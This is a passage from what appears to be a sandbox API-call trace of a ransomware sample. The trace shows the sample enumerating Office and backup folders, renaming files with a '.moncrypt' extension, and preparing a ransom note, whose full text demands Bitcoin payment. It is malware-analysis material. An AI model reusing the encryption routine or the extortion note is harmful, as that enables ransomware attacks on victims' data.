ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x598fccf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0xb9a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSetupPS.dll", cAlternateFileName="")) returned 1 [0048.277] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.277] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.277] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.277] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.278] GlobalUnlock (hMem=0x44000c) returned 0 [0048.278] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.278] GlobalLock (hMem=0x440004) returned 0x557870 [0048.278] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.278] GlobalUnlock (hMem=0x44000c) returned 0 [0048.278] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.278] GlobalUnlock (hMem=0x440004) returned 0 [0048.278] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.278] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="OUTLOO~1.EN-")) returned 1 [0048.278] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0048.278] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0048.278] GlobalLock (hMem=0x440004) returned 0x555860 [0048.278] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.278] GlobalUnlock (hMem=0x440004) returned 0 [0048.278] GlobalLock (hMem=0x440004) returned 0x555860 [0048.278] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.278] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.278] GlobalUnlock (hMem=0x440004) returned 0 [0048.278] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.278] GlobalUnlock (hMem=0x44000c) returned 0 [0048.278] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.278] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.278] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.278] GlobalUnlock (hMem=0x44000c) returned 0 [0048.278] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.278] GlobalLock (hMem=0x440004) returned 0x557870 [0048.278] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.278] GlobalUnlock (hMem=0x44000c) returned 0 [0048.278] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.279] GlobalUnlock (hMem=0x440004) returned 0 [0048.279] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.279] SysReAllocStringLen (in: pbstr=0x18ea84*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us", len=0x5d | out: pbstr=0x18ea84*="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us") returned 1 [0048.279] GlobalLock (hMem=0x440004) returned 0x555860 [0048.279] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.279] GlobalUnlock (hMem=0x440004) returned 0 [0048.279] GlobalLock (hMem=0x440004) returned 0x555860 [0048.279] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.279] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.279] GlobalUnlock (hMem=0x440004) returned 0 [0048.279] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.279] GlobalUnlock (hMem=0x44000c) returned 0 [0048.279] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Microsoft\\Exchange Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@肴R肈R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0048.280] GetLastError () returned 0x3 [0048.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Microsoft SQL Server", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18䀴Q\x181")) returned 0xffffffff [0048.280] GetLastError () returned 0x2 [0048.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Firebird", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@卜U企@\x18?T\x18;")) returned 0xffffffff [0048.280] GetLastError () returned 0x2 [0048.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\MSSQL.1", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@∜R企@\x18?T\x18D")) returned 0xffffffff [0048.280] GetLastError () returned 0x2 [0048.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18卜U\x18j")) returned 0xffffffff [0048.281] GetLastError () returned 0x2 [0048.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Adobe", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@⭌R企@\x18?T\x18q")) returned 0xffffffff [0048.281] GetLastError () returned 0x2 [0048.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Oracle", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꠜR企@\x18?T\x18y")) returned 0xffffffff [0048.281] GetLastError () returned 0x2 [0048.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Archive", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18?T\x18\x81")) returned 0xffffffff [0048.281] GetLastError () returned 0x2 [0048.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Backup", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@∜R企@\x18?T\x18\x88")) returned 0xffffffff [0048.281] GetLastError () returned 0x2 [0048.281] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Reserv", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@ꠜR企@\x18?T\x18\x8f")) returned 0xffffffff [0048.282] GetLastError () returned 0x2 [0048.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\Restore", lpFindFileData=0x18e500 | out: lpFindFileData=0x18e500*(dwFileAttributes=0x7758bf46, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557870, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69a18, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x5000c4, cFileName="㪀P\xfdee㰒", cAlternateFileName="呤U䱠@翌R企@\x18?T\x18\x97")) returned 0xffffffff [0048.282] GetLastError () returned 0x2 [0048.282] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.282] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.282] GlobalUnlock (hMem=0x44000c) returned 0 [0048.282] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.282] GlobalLock (hMem=0x440004) returned 0x557870 [0048.282] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.282] GlobalUnlock (hMem=0x44000c) returned 0 [0048.282] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.282] GlobalUnlock (hMem=0x440004) returned 0 [0048.282] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0048.282] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0048.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0048.282] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0048.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0048.282] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e2fc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0048.282] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69ac8, cbMultiByte=11, lpWideCharStr=0x18d6fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0048.282] GlobalLock (hMem=0x440004) returned 0x555860 [0048.282] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.282] GlobalUnlock (hMem=0x440004) returned 0 [0048.282] GlobalLock (hMem=0x440004) returned 0x555860 [0048.282] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.283] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.283] GlobalUnlock (hMem=0x440004) returned 0 [0048.283] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.283] GlobalUnlock (hMem=0x44000c) returned 0 [0048.283] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.283] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.283] GlobalUnlock (hMem=0x44000c) returned 0 [0048.283] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.283] GlobalLock (hMem=0x440004) returned 0x557870 [0048.283] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.283] GlobalUnlock (hMem=0x44000c) returned 0 [0048.283] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.283] GlobalUnlock (hMem=0x440004) returned 0 [0048.283] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\*.*", lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e240 [0048.283] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0048.283] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0048.283] FileTimeToLocalFileTime (in: lpFileTime=0x18e838, lpLocalFileTime=0x18e748 | out: lpLocalFileTime=0x18e748) returned 1 [0048.283] FileTimeToDosDateTime (in: lpFileTime=0x18e748, lpFatDate=0x18e806, lpFatTime=0x18e804 | out: lpFatDate=0x18e806, lpFatTime=0x18e804) returned 1 [0048.283] GlobalLock (hMem=0x440004) returned 0x555860 [0048.284] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.284] GlobalUnlock (hMem=0x440004) returned 0 [0048.284] GlobalLock (hMem=0x440004) returned 0x555860 [0048.284] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.284] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.284] GlobalUnlock (hMem=0x440004) returned 0 [0048.284] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.284] GlobalUnlock (hMem=0x44000c) returned 0 [0048.284] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0048.284] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.284] WriteFile (in: hFile=0x190, lpBuffer=0x1e61dd8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61dd8*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0048.285] CloseHandle (hObject=0x190) returned 1 [0048.286] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\я" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\я")) returned 1 [0048.286] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpFindFileData=0x18e484 | out: lpFindFileData=0x18e484*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee827f20, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.XML", cAlternateFileName="OUTLOO~1.XML")) returned 0x54e280 [0048.287] FileTimeToLocalFileTime (in: lpFileTime=0x18e498, lpLocalFileTime=0x18e3b0 | out: lpLocalFileTime=0x18e3b0) returned 1 [0048.287] FileTimeToDosDateTime (in: lpFileTime=0x18e3b0, lpFatDate=0x18e466, lpFatTime=0x18e464 | out: lpFatDate=0x18e466, lpFatTime=0x18e464) returned 1 [0048.287] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0048.287] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", dwFileAttributes=0x20) returned 1 [0048.287] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d3c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt\x18戟眵戤眵躢睘") returned 9 [0048.287] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.moncrypt")) returned 1 [0048.288] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.288] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.288] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0xc72 [0048.288] SetFilePointer (in: hFile=0x190, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e390*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e390*=0) returned 0x0 [0048.288] ReadFile (in: hFile=0x190, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0xc72, lpNumberOfBytesRead=0x18e3b4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e3b4*=0xc72, lpOverlapped=0x0) returned 1 [0048.290] GlobalLock (hMem=0x44000c) returned 0x555860 [0048.290] GlobalLock (hMem=0x440004) returned 0x557870 [0048.290] GlobalHandle (pMem=0x555860) returned 0x44000c [0048.290] GlobalUnlock (hMem=0x44000c) returned 0 [0048.290] GlobalHandle (pMem=0x557870) returned 0x440004 [0048.290] GlobalUnlock (hMem=0x440004) returned 0 [0048.290] GlobalLock (hMem=0x440004) returned 0x555860 [0048.290] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.290] GlobalUnlock (hMem=0x440004) returned 0 [0048.302] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0048.302] SetFileTime (hFile=0x190, lpCreationTime=0x18e454, lpLastAccessTime=0x18e44c, lpLastWriteTime=0x18e444) returned 1 [0048.302] CloseHandle (hObject=0x190) returned 1 [0048.302] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.moncrypt", dwFileAttributes=0x20) returned 1 [0048.302] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18d6e8, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0048.302] GlobalLock (hMem=0x440004) returned 0x555860 [0048.302] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.302] GlobalUnlock (hMem=0x440004) returned 0 [0048.302] GlobalLock (hMem=0x440004) returned 0x555860 [0048.302] GlobalLock (hMem=0x44000c) returned 0x557870 [0048.302] GlobalHandle (pMem=0x555860) returned 0x440004 [0048.302] GlobalUnlock (hMem=0x440004) returned 0 [0048.302] GlobalHandle (pMem=0x557870) returned 0x44000c [0048.302] GlobalUnlock (hMem=0x44000c) returned 0 [0048.302] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0048.303] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e49c | out: lpFindFileData=0x18e49c*(dwFileAttributes=0x500000, ftCreationTime.dwLowDateTime=0x557870, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x1e69a78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0xbf4c5bf0, ftLastWriteTime.dwHighDateTime=0x5664e257, nFileSizeHigh=0x387e4e42, nFileSizeLow=0x5000c4, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="", cAlternateFileName="")) returned 0xffffffff [0048.303] GetLastError () returned 0x2 [0048.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, 